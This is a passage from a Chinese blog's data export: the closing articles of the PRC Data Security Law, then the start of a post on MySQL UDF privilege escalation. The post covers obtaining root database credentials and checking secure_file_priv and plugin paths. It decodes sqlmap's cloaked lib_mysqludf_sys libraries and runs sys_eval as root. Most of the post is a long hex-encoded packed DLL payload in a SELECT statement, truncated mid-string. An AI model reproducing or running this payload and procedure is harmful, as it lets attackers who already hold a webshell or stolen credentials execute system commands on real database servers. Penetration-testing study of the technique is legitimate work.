公安机关、国家安全机关等依照本法和有关法律、行政法规的规定,在各自职责范围内承担数据安全监管职责。 国家网信部门依照本法和有关法律、行政法规的规定,负责统筹协调网络数据安全和相关监管工作。 第七条 国家保护个人、组织与数据有关的权益,鼓励数据依法合理有效利用,保障数据依法有序自由流动,促进以数据为关键要素的数字经济发展。 第八条 开展数据处理活动,应当遵守法律、法规,尊重社会公德和伦理,遵守商业道德和职业道德,诚实守信,履行数据安全保护义务,承担社会责任,不得危害国家安全、公共利益,不得损害个人、组织的合法权益。 第九条 国家支持开展数据安全知识宣传普及,提高全社会的数据安全保护意识和水平,推动有关部门、行业组织、科研机构、企业、个人等共同参与数据安全保护工作,形成全社会共同维护数据安全和促进发展的良好环境。 第十条 相关行业组织按照章程,依法制定数据安全行为规范和团体标准,加强行业自律,指导会员加强数据安全保护,提高数据安全保护水平,促进行业健康发展。 第十一条 国家积极开展数据安全治理、数据开发利用等领域的国际交流与合作,参与数据安全相关国际规则和标准的制定,促进数据跨境安全、自由流动。 第十二条 任何个人、组织都有权对违反本法规定的行为向有关主管部门投诉、举报。收到投诉、举报的部门应当及时依法处理。 有关主管部门应当对投诉、举报人的相关信息予以保密,保护投诉、举报人的合法权益。 第二章 数据安全与发展第十三条 国家统筹发展和安全,坚持以数据开发利用和产业发展促进数据安全,以数据安全保障数据开发利用和产业发展。 第十四条 国家实施大数据战略,推进数据基础设施建设,鼓励和支持数据在各行业、各领域的创新应用。 省级以上人民政府应当将数字经济发展纳入本级国民经济和社会发展规划,并根据需要制定数字经济发展规划。 第十五条 国家支持开发利用数据提升公共服务的智能化水平。提供智能化公共服务,应当充分考虑老年人、残疾人的需求,避免对老年人、残疾人的日常生活造成障碍。 第十六条 国家支持数据开发利用和数据安全技术研究,鼓励数据开发利用和数据安全等领域的技术推广和商业创新,培育、发展数据开发利用和数据安全产品、产业体系。 第十七条 国家推进数据开发利用技术和数据安全标准体系建设。国务院标准化行政主管部门和国务院有关部门根据各自的职责,组织制定并适时修订有关数据开发利用技术、产品和数据安全相关标准。国家支持企业、社会团体和教育、科研机构等参与标准制定。 第十八条 国家促进数据安全检测评估、认证等服务的发展,支持数据安全检测评估、认证等专业机构依法开展服务活动。 国家支持有关部门、行业组织、企业、教育和科研机构、有关专业机构等在数据安全风险评估、防范、处置等方面开展协作。 第十九条 国家建立健全数据交易管理制度,规范数据交易行为,培育数据交易市场。 第二十条 国家支持教育、科研机构和企业等开展数据开发利用技术和数据安全相关教育和培训,采取多种方式培养数据开发利用技术和数据安全专业人才,促进人才交流。 第三章 数据安全制度第二十一条 国家建立数据分类分级保护制度,根据数据在经济社会发展中的重要程度,以及一旦遭到篡改、破坏、泄露或者非法获取、非法利用,对国家安全、公共利益或者个人、组织合法权益造成的危害程度,对数据实行分类分级保护。国家数据安全工作协调机制统筹协调有关部门制定重要数据目录,加强对重要数据的保护。 关系国家安全、国民经济命脉、重要民生、重大公共利益等数据属于国家核心数据,实行更加严格的管理制度。 各地区、各部门应当按照数据分类分级保护制度,确定本地区、本部门以及相关行业、领域的重要数据具体目录,对列入目录的数据进行重点保护。 第二十二条 国家建立集中统一、高效权威的数据安全风险评估、报告、信息共享、监测预警机制。国家数据安全工作协调机制统筹协调有关部门加强数据安全风险信息的获取、分析、研判、预警工作。 第二十三条 国家建立数据安全应急处置机制。发生数据安全事件,有关主管部门应当依法启动应急预案,采取相应的应急处置措施,防止危害扩大,消除安全隐患,并及时向社会发布与公众有关的警示信息。 第二十四条 国家建立数据安全审查制度,对影响或者可能影响国家安全的数据处理活动进行国家安全审查。 依法作出的安全审查决定为最终决定。 第二十五条 国家对与维护国家安全和利益、履行国际义务相关的属于管制物项的数据依法实施出口管制。 第二十六条 任何国家或者地区在与数据和数据开发利用技术等有关的投资、贸易等方面对中华人民共和国采取歧视性的禁止、限制或者其他类似措施的,中华人民共和国可以根据实际情况对该国家或者地区对等采取措施。 第四章 数据安全保护义务第二十七条 开展数据处理活动应当依照法律、法规的规定,建立健全全流程数据安全管理制度,组织开展数据安全教育培训,采取相应的技术措施和其他必要措施,保障数据安全。利用互联网等信息网络开展数据处理活动,应当在网络安全等级保护制度的基础上,履行上述数据安全保护义务。 重要数据的处理者应当明确数据安全负责人和管理机构,落实数据安全保护责任。 第二十八条 开展数据处理活动以及研究开发数据新技术,应当有利于促进经济社会发展,增进人民福祉,符合社会公德和伦理。 第二十九条 开展数据处理活动应当加强风险监测,发现数据安全缺陷、漏洞等风险时,应当立即采取补救措施;发生数据安全事件时,应当立即采取处置措施,按照规定及时告知用户并向有关主管部门报告。 第三十条 重要数据的处理者应当按照规定对其数据处理活动定期开展风险评估,并向有关主管部门报送风险评估报告。 风险评估报告应当包括处理的重要数据的种类、数量,开展数据处理活动的情况,面临的数据安全风险及其应对措施等。 第三十一条 关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的重要数据的出境安全管理,适用《中华人民共和国网络安全法》的规定;其他数据处理者在中华人民共和国境内运营中收集和产生的重要数据的出境安全管理办法,由国家网信部门会同国务院有关部门制定。 第三十二条 任何组织、个人收集数据,应当采取合法、正当的方式,不得窃取或者以其他非法方式获取数据。 法律、行政法规对收集、使用数据的目的、范围有规定的,应当在法律、行政法规规定的目的和范围内收集、使用数据。 第三十三条 从事数据交易中介服务的机构提供服务,应当要求数据提供方说明数据来源,审核交易双方的身份,并留存审核、交易记录。 第三十四条 法律、行政法规规定提供数据处理相关服务应当取得行政许可的,服务提供者应当依法取得许可。 第三十五条 公安机关、国家安全机关因依法维护国家安全或者侦查犯罪的需要调取数据,应当按照国家有关规定,经过严格的批准手续,依法进行,有关组织、个人应当予以配合。 第三十六条 中华人民共和国主管机关根据有关法律和中华人民共和国缔结或者参加的国际条约、协定,或者按照平等互惠原则,处理外国司法或者执法机构关于提供数据的请求。非经中华人民共和国主管机关批准,境内的组织、个人不得向外国司法或者执法机构提供存储于中华人民共和国境内的数据。 第五章 政务数据安全与开放第三十七条 国家大力推进电子政务建设,提高政务数据的科学性、准确性、时效性,提升运用数据服务经济社会发展的能力。 第三十八条 国家机关为履行法定职责的需要收集、使用数据,应当在其履行法定职责的范围内依照法律、行政法规规定的条件和程序进行;对在履行职责中知悉的个人隐私、个人信息、商业秘密、保密商务信息等数据应当依法予以保密,不得泄露或者非法向他人提供。 第三十九条 国家机关应当依照法律、行政法规的规定,建立健全数据安全管理制度,落实数据安全保护责任,保障政务数据安全。 第四十条 国家机关委托他人建设、维护电子政务系统,存储、加工政务数据,应当经过严格的批准程序,并应当监督受托方履行相应的数据安全保护义务。受托方应当依照法律、法规的规定和合同约定履行数据安全保护义务,不得擅自留存、使用、泄露或者向他人提供政务数据。 第四十一条 国家机关应当遵循公正、公平、便民的原则,按照规定及时、准确地公开政务数据。依法不予公开的除外。 第四十二条 国家制定政务数据开放目录,构建统一规范、互联互通、安全可控的政务数据开放平台,推动政务数据开放利用。 第四十三条 法律、法规授权的具有管理公共事务职能的组织为履行法定职责开展数据处理活动,适用本章规定。 第六章 法律责任第四十四条 有关主管部门在履行数据安全监管职责中,发现数据处理活动存在较大安全风险的,可以按照规定的权限和程序对有关组织、个人进行约谈,并要求有关组织、个人采取措施进行整改,消除隐患。 第四十五条 开展数据处理活动的组织、个人不履行本法第二十七条、第二十九条、第三十条规定的数据安全保护义务的,由有关主管部门责令改正,给予警告,可以并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;拒不改正或者造成大量数据泄露等严重后果的,处五十万元以上二百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五万元以上二十万元以下罚款。 违反国家核心数据管理制度,危害国家主权、安全和发展利益的,由有关主管部门处二百万元以上一千万元以下罚款,并根据情况责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;构成犯罪的,依法追究刑事责任。 第四十六条 违反本法第三十一条规定,向境外提供重要数据的,由有关主管部门责令改正,给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;情节严重的,处一百万元以上一千万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处十万元以上一百万元以下罚款。 第四十七条 从事数据交易中介服务的机构未履行本法第三十三条规定的义务的,由有关主管部门责令改正,没收违法所得,处违法所得一倍以上十倍以下罚款,没有违法所得或者违法所得不足十万元的,处十万元以上一百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第四十八条 违反本法第三十五条规定,拒不配合数据调取的,由有关主管部门责令改正,给予警告,并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 违反本法第三十六条规定,未经主管机关批准向外国司法或者执法机构提供数据的,由有关主管部门给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;造成严重后果的,处一百万元以上五百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五万元以上五十万元以下罚款。 第四十九条 国家机关不履行本法规定的数据安全保护义务的,对直接负责的主管人员和其他直接责任人员依法给予处分。 第五十条 履行数据安全监管职责的国家工作人员玩忽职守、滥用职权、徇私舞弊的,依法给予处分。 第五十一条 窃取或者以其他非法方式获取数据,开展数据处理活动排除、限制竞争,或者损害个人、组织合法权益的,依照有关法律、行政法规的规定处罚。 第五十二条 违反本法规定,给他人造成损害的,依法承担民事责任。 违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。 第七章 附 则第五十三条 开展涉及国家秘密的数据处理活动,适用《中华人民共和国保守国家秘密法》等法律、行政法规的规定。 在统计、档案工作中开展数据处理活动,开展涉及个人信息的数据处理活动,还应当遵守有关法律、行政法规的规定。 第五十四条 军事数据安全保护的办法,由中央军事委员会依据本法另行制定。 第五十五条 本法自2021年9月1日起施行。","tags":["法律法规"],"categories":["生活记录","杂项"]},{"title":"Security-MySQL提权","path":"/2020/12/21/466824cf/","content":"总字符数: 79.84K 代码: 75.47K, 文本: 1.76K 预计阅读时间: 5.60 小时 MySQL UDF提权背景介绍UDF UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。 利用前提 获取到对方的Mysql数据库下的root账户密码 查看网站源码里面的数据库配置文件(inc/conn/config/common/data等) 下载对方数据库安装路径下的user.myd、user.MYD、user.MYI三个文件,在测试环境中替换 mysql --skip-grant-tables 跳过验证 mysql -uroot 直接无密码登录 use mysql select * from user获取到密码后进行解密 mysql允许导入导出文件 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。 Linux环境 Linux环境下的UDF提权大概率仅限于靶场环境中,原因: 在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限,所以我们下方指定了需要root用户启动 实验环境手工启动mysql,指定root启动:user = root。默认是mysql用户启动。 如果是通过systemctl启动的话也要修改/usr/lib/systemd/system/mysqld.service文件 手工提权查找是否已经存在了udf表123456789101112131415161718192021222324252627mysql> SELECT * FROM information_schema.tables WHERE table_name like '%fun%'; +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE | VERSION | ROW_FORMAT | TABLE_ROWS | AVG_ROW_LENGTH | DATA_LENGTH | MAX_DATA_LENGTH | INDEX_LENGTH | DATA_FREE | AUTO_INCREMENT | CREATE_TIME | UPDATE_TIME | CHECK_TIME | TABLE_COLLATION | CHECKSUM | CREATE_OPTIONS | TABLE_COMMENT |+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| NULL | mysql | func | BASE TABLE | MyISAM | 10 | Fixed | 3 | 579 | 1737 | 162974011515469823 | 2048 | 0 | NULL | 2012-02-04 10:00:35 | 2020-12-21 15:24:46 | 2020-12-21 10:35:01 | utf8_bin | NULL | | User defined functions | +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+1 row in set (0.00 sec)-- 上方有个func表,属于mysql数据库,查看他存在哪些函数mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | | sys_eval | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+3 rows in set (0.00 sec)-- 调用sys_eval函数mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root | +--------------------+1 row in set (0.00 sec) 判断前提条件 查看是否允许导入导出文件 1234567mysql> show variables like '%secure_file_priv%';+------------------+-------+| Variable_name | Value |+------------------+-------+| secure_file_priv | |+------------------+-------+1 row in set (0.00 sec) %secure_file_priv%这个参数在MySQL数据库的安装目录的 my.ini 文件中配置,也可以作为启动参数。 secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。 当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权 查看是否高权限 1mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ; 查看plugin的值 123456789101112-- plugin 字段是从 MySQL 5.7.6 版本开始引入的。在此版本之前,plugin 字段不存在。该字段存储了用户账户所使用的身份验证插件信息,用于确定用户账户的身份验证方式。-- 在早期版本的 MySQL 中,默认的身份验证插件是 mysql_native_password,但从 MySQL 8.0 开始,默认的身份验证插件改为了 caching_sha2_password。plugin 字段会记录当前用户账户所使用的插件,以便正确进行身份验证和密码加密mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);+-----------+------+-----------------------+| host | user | plugin |+-----------+------+-----------------------+| localhost | root | mysql_native_password |+-----------+------+-----------------------+1 row in set (0.02 sec) plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。 查看plugin目录位置 12345678mysql> show variables like '%plugin%';+-------------------------------+------------------------------+| Variable_name | Value |+-------------------------------+------------------------------+| default_authentication_plugin | mysql_native_password || plugin_dir | /usr/local/mysql/lib/plugin/ |+-------------------------------+------------------------------+2 rows in set (0.00 sec) 确定Mysql安装位置 123456789101112131415mysql> select @@basedir;+-------------------+| @@basedir |+-------------------+| /usr/local/mysql/ |+-------------------+1 row in set (0.00 sec)mysql> show variables like '%basedir%';+---------------+-------------------+| Variable_name | Value |+---------------+-------------------+| basedir | /usr/local/mysql/ |+---------------+-------------------+1 row in set (0.00 sec) 通过主机版本及架构确认mysql位数来选用udf文件 12345678mysql> show variables like '%compile%';+-------------------------+--------+| Variable_name | Value |+-------------------------+--------+| version_compile_machine | x86_64 || version_compile_os | Linux |+-------------------------+--------+2 rows in set (0.00 sec) 查看数据库版本,判断udf文件写入位置 1234567mysql> select version();+-----------+| version() |+-----------+| 5.7.18 |+-----------+1 row in set (0.00 sec) 5.1 mysql大于5.1版本时 查看 plugin 目录,存在lib\\plugin目录且有Webshell时,直接上传udf文件 查看 plugin 目录,存在lib\\plugin目录但没有Webshell时,则需要以16进制编码写入udf文件。 mysql小于5.1版本时 udf.dll文件在Windows2003下放置于c:\\windows\\system32,在windows2000下放置于c:\\winnt\\system32。 有webshell时,通过webshell上传udf文件。 无webshell时,使用dumpfile通过16进制数据流写入udf文件。 Linux系统 判断是否存在UDFjohn@Kioptrix4:/home$ whereis lib_mysqludf_sys.so 尝试创建函数,如果存在则直接使用即可 use mysql; create function sys_eval returns string soname 'udf.so'; 上传udf库文件 准备udf库文件 需要选择对应的版本,否则会报错。 从sqlmap获取sqlmap根目录/data/udf/mysql 12345678910111213141516171819202122232425262728293031┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ tree.├── linux│ ├── 32│ │ └── lib_mysqludf_sys.so_│ └── 64│ └── lib_mysqludf_sys.so_└── windows ├── 32 │ └── lib_mysqludf_sys.dll_ └── 64 └── lib_mysqludf_sys.dll_# 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/usr/share/sqlmap/extra/cloak/cloak.py,解码方法如下# 解码 32 位的 Linux 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so# 解码 64 位的 Linux 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so# 解码 32 位的 Windows 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll# 解码 64 位的 Windows 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 此时会在相同目录生成解密后的文件 123┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ ls lib_mysqludf_sys_32.dll lib_mysqludf_sys_32.so lib_mysqludf_sys_64.dll lib_mysqludf_sys_64.so linux windows 从metasploit中获取 在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。这个库和sqlmap解密后的一模一样。 123456789┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]└─$ tree ..├── lib_mysqludf_sys_32.dll├── lib_mysqludf_sys_32.so├── lib_mysqludf_sys_64.dll└── lib_mysqludf_sys_64.so1 directory, 4 files SQLMap中提取好的UDF文件—来自国光师傅 上传udf库文件 lib_mysqludf_sys_32.dll1SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff000000480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000101022001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000